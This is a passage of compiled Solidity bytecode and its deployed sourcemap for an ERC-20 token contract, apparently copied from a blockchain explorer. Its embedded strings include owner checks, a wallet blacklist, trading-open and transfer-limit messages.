048582860161249a565b9250506020612515858286016124cd565b9150509250929050565b5f8115159050919050565b6125338161251f565b82525050565b5f60208201905061254c5f83018461252a565b92915050565b61255b816124ae565b82525050565b5f6020820190506125745f830184612552565b92915050565b5f805f6060848603121561259157612590612450565b5b5f61259e8682870161249a565b93505060206125af8682870161249a565b92505060406125c0868287016124cd565b9150509250925092565b5f60ff82169050919050565b6125df816125ca565b82525050565b5f6020820190506125f85f8301846125d6565b92915050565b5f6020828403121561261357612612612450565b5b5f6126208482850161249a565b91505092915050565b61263281612473565b82525050565b5f60208201905061264b5f830184612629565b92915050565b5f806040838503121561266757612666612450565b5b5f6126748582860161249a565b92505060206126858582860161249a565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115612711578086048111156126ed576126ec61268f565b5b60018516156126fc5780820291505b808102905061270a856126bc565b94506126d1565b94509492505050565b5f8261272957600190506127e4565b81612736575f90506127e4565b816001811461274c576002811461275657612785565b60019150506127e4565b60ff8411156127685761276761268f565b5b8360020a91508482111561277f5761277e61268f565b5b506127e4565b5060208310610133831016604e8410600b84101617156127ba5782820a9050838111156127b5576127b461268f565b5b6127e4565b6127c784848460016126c8565b925090508184048111156127de576127dd61268f565b5b81810290505b9392505050565b5f6127f5826124ae565b9150612800836125ca565b925061282d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461271a565b905092915050565b5f61283f826124ae565b915061284a836124ae565b9250828202612858816124ae565b9150828204841483151761286f5761286e61268f565b5b5092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6128aa6020836123b0565b91506128b582612876565b602082019050919050565b5f6020820190508181035f8301526128d78161289e565b9050919050565b7f496e76616c69642077616c6c65742061646472657373000000000000000000005f82015250565b5f6129126016836123b0565b915061291d826128de565b602082019050919050565b5f6020820190508181035f83015261293f81612906565b9050919050565b7f57616c6c657420697320616c726561647920626c61636b6c69737465640000005f82015250565b5f61297a601d836123b0565b915061298582612946565b602082019050919050565b5f6020820190508181035f8301526129a78161296e565b9050919050565b7f74726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f6129e26017836123b0565b91506129ed826129ae565b602082019050919050565b5f6020820190508181035f830152612a0f816129d6565b9050919050565b5f81519050612a2481612484565b92915050565b5f60208284031215612a3f57612a3e612450565b5b5f612a4c84828501612a16565b91505092915050565b5f604082019050612a685f830185612629565b612a756020830184612629565b9392505050565b5f819050919050565b5f819050919050565b5f612aa8612aa3612a9e84612a7c565b612a85565b6124ae565b9050919050565b612ab881612a8e565b82525050565b5f60c082019050612ad15f830189612629565b612ade6020830188612552565b612aeb6040830187612aaf565b612af86060830186612aaf565b612b056080830185612629565b612b1260a0830184612552565b979650505050505050565b5f81519050612b2b816124b7565b92915050565b5f805f60608486031215612b4857612b47612450565b5b5f612b5586828701612b1d565b9350506020612b6686828701612b1d565b9250506040612b7786828701612b1d565b9150509250925092565b5f604082019050612b945f830185612629565b612ba16020830184612552565b9392505050565b612bb18161251f565b8114612bbb575f80fd5b50565b5f81519050612bcc81612ba8565b92915050565b5f60208284031215612be757612be6612450565b5b5f612bf484828501612bbe565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f612c576024836123b0565b9150612c6282612bfd565b604082019050919050565b5f6020820190508181035f830152612c8481612c4b565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f612ce56022836123b0565b9150612cf082612c8b565b604082019050919050565b5f6020820190508181035f830152612d1281612cd9565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f612d736025836123b0565b9150612d7e82612d19565b604082019050919050565b5f6020820190508181035f830152612da081612d67565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f612e016023836123b0565b9150612e0c82612da7565b604082019050919050565b5f6020820190508181035f830152612e2e81612df5565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f612e8f6029836123b0565b9150612e9a82612e35565b604082019050919050565b5f6020820190508181035f830152612ebc81612e83565b9050919050565b7f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c5f8201527f65642e204f6e6c79206f6e652070757263686173652070657220626c6f636b2060208201527f616c6c6f7765642e000000000000000000000000000000000000000000000000604082015250565b5f612f436048836123b0565b9150612f4e82612ec3565b606082019050919050565b5f6020820190508181035f830152612f7081612f37565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e000000000000005f82015250565b5f612fab6019836123b0565b9150612fb682612f77565b602082019050919050565b5f6020820190508181035f830152612fd881612f9f565b9050919050565b5f612fe9826124ae565b9150612ff4836124ae565b925082820190508082111561300c5761300b61268f565b5b92915050565b7f4578636565647320746865206d617857616c6c657453697a652e0000000000005f82015250565b5f613046601a836123b0565b915061305182613012565b602082019050919050565b5f6020820190508181035f8301526130738161303a565b9050919050565b5f613084826124ae565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036130b6576130b561268f565b5b600182019050919050565b5f6130cb826124ae565b91506130d6836124ae565b92508282039050818111156130ee576130ed61268f565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b61318081612473565b82525050565b5f6131918383613177565b60208301905092915050565b5f602082019050919050565b5f6131b38261314e565b6131bd8185613158565b93506131c883613168565b805f5b838110156131f85781516131df8882613186565b97506131ea8361319d565b9250506001810190506131cb565b5085935050505092915050565b5f60a0820190506132185f830188612552565b6132256020830187612aaf565b818103604083015261323781866131a9565b90506132466060830185612629565b6132536080830184612552565b9695505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f613294826124ae565b915061329f836124ae565b9250826132af576132ae61325d565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f6133146021836123b0565b915061331f826132ba565b604082019050919050565b5f6020820190508181035f83015261334181613308565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f61337c601b836123b0565b915061338782613348565b602082019050919050565b5f6020820190508181035f8301526133a981613370565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208fcca1141136ef6696f0426d441523e365f84ad7da3192e5cfe2779ae03e9b7064736f6c63430008140033

Deployed Bytecode Sourcemap

3594:8854:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6340:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7173:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5608:51;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6617:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7342:313;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6526:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3858:249;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;12097:348;;;;;;;;;;;;;:::i;:::-;;6720:119;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2675:148;;;;;;;;;;;;;:::i;:::-;;11069:196;;;;;;;;;;;;;:::i;:::-;;5422:53;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2461:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5482:55;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6431:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6847:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5544:57;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4581:39;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11381:671;;;;;;;;;;;;;:::i;:::-;;7022:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4674:188;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6340:83;6377:13;6410:5;;;;;;;;;;;;;;;;;6403:12;;6340:83;:::o;7173:161::-;7248:4;7265:39;7274:12;:10;:12::i;:::-;7288:7;7297:6;7265:8;:39::i;:::-;7322:4;7315:11;;7173:161;;;;:::o;5608:51::-;;;;:::o;6617:95::-;6670:7;5227:1;5282:2;:13;;;;:::i;:::-;5270:9;:25;;;;:::i;:::-;6690:14;;6617:95;:::o;7342:313::-;7440:4;7457:36;7467:6;7475:9;7486:6;7457:9;:36::i;:::-;7504:121;7513:6;7521:12;:10;:12::i;:::-;7535:89;7573:6;7535:89;;;;;;;;;;;;;;;;;:11;:19;7547:6;7535:19;;;;;;;;;;;;;;;:33;7555:12;:10;:12::i;:::-;7535:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;7504:8;:121::i;:::-;7643:4;7636:11;;7342:313;;;;;:::o;6526:83::-;6567:5;5227:1;6585:16;;6526:83;:::o;3858:249::-;2598:12;:10;:12::i;:::-;2588:22;;:6;;;;;;;;;;:22;;;2580:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;3954:1:::1;3936:20;;:6;:20;;::::0;3928:55:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;4003:14;:22;4018:6;4003:22;;;;;;;;;;;;;;;;;;;;;;;;;4002:23;3994:65;;;;;;;;;;;;:::i;:::-;;;;;;;;;4095:4;4070:14:::0;:22:::1;4085:6;4070:22;;;;;;;;;;;;;;;;:29;;;;;;;;;;;;;;;;;;3858:249:::0;:::o;12097:348::-;12161:10;;;;;;;;;;;12147:24;;:12;:10;:12::i;:::-;:24;;;12139:33;;;;;;12183:20;12204:24;12222:4;12204:9;:24::i;:::-;12183:45;;12255:1;12242:12;:14;12239:73;;;12270:30;12287:12;12270:16;:30::i;:::-;12239:73;12322:18;12341:21;12322:40;;12387:1;12376:10;:12;12373:65;;;12402:24;12415:10;12402:12;:24::i;:::-;12373:65;12128:317;;12097:348::o;6720:119::-;6786:7;6813:9;:18;6823:7;6813:18;;;;;;;;;;;;;;;;6806:25;;6720:119;;;:::o;2675:148::-;2598:12;:10;:12::i;:::-;2588:22;;:6;;;;;;;;;;:22;;;2580:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;2782:1:::1;2745:40;;2766:6;::::0;::::1;;;;;;;;2745:40;;;;;;;;;;;;2813:1;2796:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;2675:148::o:0;11069:196::-;2598:12;:10;:12::i;:::-;2588:22;;:6;;;;;;;;;;:22;;;2580:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;5227:1:::1;5282:2;:13;;;;:::i;:::-;5270:9;:25;;;;:::i;:::-;11122:12;:22;;;;5227:1;5282:2;:13;;;;:::i;:::-;5270:9;:25;;;;:::i;:::-;11155:14;:22;;;;11209:5;11188:20;;:26;;;;;;;;;;;;;;;;;;11230:27;5227:1;5282:2;:13;;;;:::i;:::-;5270:9;:25;;;;:::i;:::-;11230:27;;;;;;:::i;:::-;;;;;;;;11069:196::o:0;5422:53::-;;;;:::o;2461:79::-;2499:7;2526:6;;;;;;;;;;;2519:13;;2461:79;:::o;5482:55::-;;;;:::o;6431:87::-;6470:13;6503:7;;;;;;;;;;;;;;;;;6496:14;;6431:87;:::o;6847:167::-;6925:4;6942:42;6952:12;:10;:12::i;:::-;6966:9;6977:6;6942:9;:42::i;:::-;7002:4;6995:11;;6847:167;;;;:::o;5544:57::-;;;;:::o;4581:39::-;;;;;;;;;;;;;:::o;11381:671::-;2598:12;:10;:12::i;:::-;2588:22;;:6;;;;;;;;;;:22;;;2580:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;11445:11:::1;;;;;;;;;;;11444:12;11436:47;;;;;;;;;;;;:::i;:::-;;;;;;;;;11531:42;11494:15;;:80;;;;;;;;;;;;;;;;;;11585:58;11602:4;11617:15;;;;;;;;;;;5227:1;5282:2;:13;;;;:::i;:::-;5270:9;:25;;;;:::i;:::-;11585:8;:58::i;:::-;11688:15;;;;;;;;;;;:23;;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11670:55;;;11734:4;11741:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11670:94;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11654:13;;:110;;;;;;;;;;;;;;;;;;11775:15;;;;;;;;;;;:31;;;11814:21;11845:4;11851:24;11869:4;11851:9;:24::i;:::-;11876:1;11878::::0;11880:7:::1;:5;:7::i;:::-;11888:15;11775:129;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;11922:13;;;;;;;;;;;11915:29;;;11953:15;;;;;;;;;;;11971:14;11915:71;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;12011:4;11997:11;;:18;;;;;;;;;;;;;;;;;;12040:4;12026:11;;:18;;;;;;;;;;;;;;;;;;11381:671::o:0;7022:143::-;7103:7;7130:11;:18;7142:5;7130:18;;;;;;;;;;;;;;;:27;7149:7;7130:27;;;;;;;;;;;;;;;;7123:34;;7022:143;;;;:::o;4674:188::-;2598:12;:10;:12::i;:::-;2588:22;;:6;;;;;;;;;;:22;;;2580:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;4780:1:::1;4756:26;;:12;:26;;::::0;4748:61:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;4841:12;4820:10;;:34;;;;;;;;;;;;;;;;;;4674:188:::0;:::o;216:98::-;269:7;296:10;289:17;;216:98;:::o;7663:335::-;7773:1;7756:19;;:5;:19;;;7748:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7854:1;7835:21;;:7;:21;;;7827:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7936:6;7906:11;:18;7918:5;7906:18;;;;;;;;;;;;;;;:27;7925:7;7906:27;;;;;;;;;;;;;;;:36;;;;7974:7;7958:32;;7967:5;7958:32;;;7983:6;7958:32;;;;;;:::i;:::-;;;;;;;;7663:335;;;:::o;8002:2460::-;8102:1;8086:18;;:4;:18;;;8078:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8175:1;8161:16;;:2;:16;;;8153:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;8241:1;8232:6;:10;8224:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;8295:17;8329:14;:20;8344:4;8329:20;;;;;;;;;;;;;;;;;;;;;;;;;:43;;;;;8359:13;;;;;;;;;;;8353:19;;:2;:19;;;8329:43;8325:1798;;;8532:23;8551:3;8532:14;8543:2;8532:6;:10;;:14;;;;:::i;:::-;:18;;:23;;;;:::i;:::-;8520:35;;8325:1798;;;8592:82;8670:3;8592:73;8616:15;;8604:9;;:27;8603:61;;8650:14;;8603:61;;;8635:12;;8603:61;8592:6;:10;;:73;;;;:::i;:::-;:77;;:82;;;;:::i;:::-;8580:94;;8691:20;;;;;;;;;;;8687:428;;;8746:15;;;;;;;;;;;8732:30;;:2;:30;;;;:62;;;;;8780:13;;;;;;;;;;;8766:28;;:2;:28;;;;8732:62;8728:376;;;8887:12;8845:28;:39;8874:9;8845:39;;;;;;;;;;;;;;;;:54;8815:200;;;;;;;;;;;;:::i;:::-;;;;;;;;;9076:12;9034:28;:39;9063:9;9034:39;;;;;;;;;;;;;;;:54;;;;8728:376;8687:428;9139:13;;;;;;;;;;;9131:21;;:4;:21;;;:55;;;;;9170:15;;;;;;;;;;;9156:30;;:2;:30;;;;9131:55;:82;;;;;9191:18;:22;9210:2;9191:22;;;;;;;;;;;;;;;;;;;;;;;;;9190:23;9131:82;9127:295;;;9248:12;;9238:6;:22;;9230:60;;;;;;;;;;;;:::i;:::-;;;;;;;;;9339:14;;9329:6;9313:13;9323:2;9313:9;:13::i;:::-;:22;;;;:::i;:::-;:40;;9305:79;;;;;;;;;;;;:::i;:::-;;;;;;;;;9399:9;;:11;;;;;;;;;:::i;:::-;;;;;;9127:295;9444:13;;;;;;;;;;;9438:19;;:2;:19;;;:44;;;;;9477:4;9461:21;;:4;:21;;;;9438:44;9434:174;;;9511:85;9592:3;9511:76;9535:16;;9523:9;;:28;9522:64;;9571:15;;9522:64;;;9555:13;;9522:64;9511:6;:10;;:76;;;;:::i;:::-;:80;;:85;;;;:::i;:::-;9499:97;;9434:174;9620:28;9651:24;9669:4;9651:9;:24::i;:::-;9620:55;;9691:6;;;;;;;;;;9690:7;:30;;;;;9707:13;;;;;;;;;;;9701:19;;:2;:19;;;9690:30;:45;;;;;9724:11;;;;;;;;;;;9690:45;:89;;;;;9762:17;;9739:20;:40;9690:89;:123;;;;;9795:18;;9783:9;;:30;9690:123;9686:430;;;9830:81;9847:63;9857:6;9865:44;9875:20;9897:11;;9865:9;:44::i;:::-;9847:9;:63::i;:::-;9830:16;:81::i;:::-;9926:26;9955:21;9926:50;;10016:17;9995:18;:38;9991:114;;;10054:35;10067:21;10054:12;:35::i;:::-;9991:114;9815:301;9686:430;8569:1554;8325:1798;10147:1;10135:9;:13;10131:160;;;10188:39;10217:9;10188;:24;10206:4;10188:24;;;;;;;;;;;;;;;;:28;;:39;;;;:::i;:::-;10161:9;:24;10179:4;10161:24;;;;;;;;;;;;;;;:66;;;;10266:4;10243:40;;10252:4;10243:40;;;10273:9;10243:40;;;;;;:::i;:::-;;;;;;;;10131:160;10315:27;10335:6;10315:9;:15;10325:4;10315:15;;;;;;;;;;;;;;;;:19;;:27;;;;:::i;:::-;10297:9;:15;10307:4;10297:15;;;;;;;;;;;;;;;:45;;;;10365:40;10383:21;10394:9;10383:6;:10;;:21;;;;:::i;:::-;10365:9;:13;10375:2;10365:13;;;;;;;;;;;;;;;;:17;;:40;;;;:::i;:::-;10349:9;:13;10359:2;10349:13;;;;;;;;;;;;;;;:56;;;;10432:2;10417:41;;10426:4;10417:41;;;10436:21;10447:9;10436:6;:10;;:21;;;;:::i;:::-;10417:41;;;;;;:::i;:::-;;;;;;;;8071:2391;8002:2460;;;:::o;1353:190::-;1439:7;1472:1;1467;:6;;1475:12;1459:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;1499:9;1515:1;1511;:5;;;;:::i;:::-;1499:17;;1534:1;1527:8;;;1353:190;;;;;:::o;10578:483::-;5950:4;5941:6;;:13;;;;;;;;;;;;;;;;;;10656:21:::1;10694:1;10680:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10656:40;;10725:4;10707;10712:1;10707:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;::::0;::::1;10751:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10741:4;10746:1;10741:7;;;;;;;;:::i;:::-;;;;;;;:32;;;;;;;;;::::0;::::1;10784:62;10801:4;10816:15;;;;;;;;;;;10834:11;10784:8;:62::i;:::-;10857:15;;;;;;;;;;;:66;;;10938:11;10964:1;10980:4;11007;11027:15;10857:196;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;10645:416;5986:5:::0;5977:6;;:14;;;;;;;;;;;;;;;;;;10578:483;:::o;11279:92::-;11336:10;;;;;;;;;;;:19;;:27;11356:6;11336:27;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11279:92;:::o;1551:246::-;1609:7;1638:1;1633;:6;1629:47;;1663:1;1656:8;;;;1629:47;1686:9;1702:1;1698;:5;;;;:::i;:::-;1686:17;;1731:1;1726;1722;:5;;;;:::i;:::-;:10;1714:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;1788:1;1781:8;;;1551:246;;;;;:::o;1805:132::-;1863:7;1890:39;1894:1;1897;1890:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;1883:46;;1805:132;;;;:::o;4158:111::-;4221:7;4252:1;4248;:5;:13;;4260:1;4248:13;;;4256:1;4248:13;4241:20;;4158:111;;;;:::o;1022:179::-;1080:7;1100:9;1116:1;1112;:5;;;;:::i;:::-;1100:17;;1141:1;1136;:6;;1128:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;1192:1;1185:8;;;1022:179;;;;:::o;1209:136::-;1267:7;1294:43;1298:1;1301;1294:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;1287:50;;1209:136;;;;:::o;1945:189::-;2031:7;2063:1;2059;:5;2066:12;2051:28;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;2090:9;2106:1;2102;:5;;;;:::i;:::-;2090:17;;2125:1;2118:8;;;1945:189;;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:619::-;3875:6;3883;3891;3940:2;3928:9;3919:7;3915:23;3911:32;3908:119;;;3946:79;;:::i;:::-;3908:119;4066:1;4091:53;4136:7;4127:6;4116:9;4112:22;4091:53;:::i;:::-;4081:63;;4037:117;4193:2;4219:53;4264:7;4255:6;4244:9;4240:22;4219:53;:::i;:::-;4209:63;;4164:118;4321:2;4347:53;4392:7;4383:6;4372:9;4368:22;4347:53;:::i;:::-;4337:63;;4292:118;3798:619;;;;;:::o;4423:86::-;4458:7;4498:4;4491:5;4487:16;4476:27;;4423:86;;;:::o;4515:112::-;4598:22;4614:5;4598:22;:::i;:::-;4593:3;4586:35;4515:112;;:::o;4633:214::-;4722:4;4760:2;4749:9;4745:18;4737:26;;4773:67;4837:1;4826:9;4822:17;4813:6;4773:67;:::i;:::-;4633:214;;;;:::o;4853:329::-;4912:6;4961:2;4949:9;4940:7;4936:23;4932:32;4929:119;;;4967:79;;:::i;:::-;4929:119;5087:1;5112:53;5157:7;5148:6;5137:9;5133:22;5112:53;:::i;:::-;5102:63;;5058:117;4853:329;;;;:::o;5188:118::-;5275:24;5293:5;5275:24;:::i;:::-;5270:3;5263:37;5188:118;;:::o;5312:222::-;5405:4;5443:2;5432:9;5428:18;5420:26;;5456:71;5524:1;5513:9;5509:17;5500:6;5456:71;:::i;:::-;5312:222;;;;:::o;5540:474::-;5608:6;5616;5665:2;5653:9;5644:7;5640:23;5636:32;5633:119;;;5671:79;;:::i;:::-;5633:119;5791:1;5816:53;5861:7;5852:6;5841:9;5837:22;5816:53;:::i;:::-;5806:63;;5762:117;5918:2;5944:53;5989:7;5980:6;5969:9;5965:22;5944:53;:::i;:::-;5934:63;;5889:118;5540:474;;;;;:::o;6020:180::-;6068:77;6065:1;6058:88;6165:4;6162:1;6155:15;6189:4;6186:1;6179:15;6206:102;6248:8;6295:5;6292:1;6288:13;6267:34;;6206:102;;;:::o;6314:848::-;6375:5;6382:4;6406:6;6397:15;;6430:5;6421:14;;6444:712;6465:1;6455:8;6452:15;6444:712;;;6560:4;6555:3;6551:14;6545:4;6542:24;6539:50;;;6569:18;;:::i;:::-;6539:50;6619:1;6609:8;6605:16;6602:451;;;7034:4;7027:5;7023:16;7014:25;;6602:451;7084:4;7078;7074:15;7066:23;;7114:32;7137:8;7114:32;:::i;:::-;7102:44;;6444:712;;;6314:848;;;;;;;:::o;7168:1073::-;7222:5;7413:8;7403:40;;7434:1;7425:10;;7436:5;;7403:40;7462:4;7452:36;;7479:1;7470:10;;7481:5;;7452:36;7548:4;7596:1;7591:27;;;;7632:1;7627:191;;;;7541:277;;7591:27;7609:1;7600:10;;7611:5;;;7627:191;7672:3;7662:8;7659:17;7656:43;;;7679:18;;:::i;:::-;7656:43;7728:8;7725:1;7721:16;7712:25;;7763:3;7756:5;7753:14;7750:40;;;7770:18;;:::i;:::-;7750:40;7803:5;;;7541:277;;7927:2;7917:8;7914:16;7908:3;7902:4;7899:13;7895:36;7877:2;7867:8;7864:16;7859:2;7853:4;7850:12;7846:35;7830:111;7827:246;;;7983:8;7977:4;7973:19;7964:28;;8018:3;8011:5;8008:14;8005:40;;;8025:18;;:::i;:::-;8005:40;8058:5;;7827:246;8098:42;8136:3;8126:8;8120:4;8117:1;8098:42;:::i;:::-;8083:57;;;;8172:4;8167:3;8163:14;8156:5;8153:25;8150:51;;;8181:18;;:::i;:::-;8150:51;8230:4;8223:5;8219:16;8210:25;;7168:1073;;;;;;:::o;8247:281::-;8305:5;8329:23;8347:4;8329:23;:::i;:::-;8321:31;;8373:25;8389:8;8373:25;:::i;:::-;8361:37;;8417:104;8454:66;8444:8;8438:4;8417:104;:::i;:::-;8408:113;;8247:281;;;;:::o;8534:410::-;8574:7;8597:20;8615:1;8597:20;:::i;:::-;8592:25;;8631:20;8649:1;8631:20;:::i;:::-;8626:25;;8686:1;8683;8679:9;8708:30;8726:11;8708:30;:::i;:::-;8697:41;;8887:1;8878:7;8874:15;8871:1;8868:22;8848:1;8841:9;8821:83;8798:139;;8917:18;;:::i;:::-;8798:139;8582:362;8534:410;;;;:::o;8950:182::-;9090:34;9086:1;9078:6;9074:14;9067:58;8950:182;:::o;9138:366::-;9280:3;9301:67;9365:2;9360:3;9301:67;:::i;:::-;9294:74;;9377:93;9466:3;9377:93;:::i;:::-;9495:2;9490:3;9486:12;9479:19;;9138:366;;;:::o;9510:419::-;9676:4;9714:2;9703:9;9699:18;9691:26;;9763:9;9757:4;9753:20;9749:1;9738:9;9734:17;9727:47;9791:131;9917:4;9791:131;:::i;:::-;9783:139;;9510:419;;;:::o;9935:172::-;10075: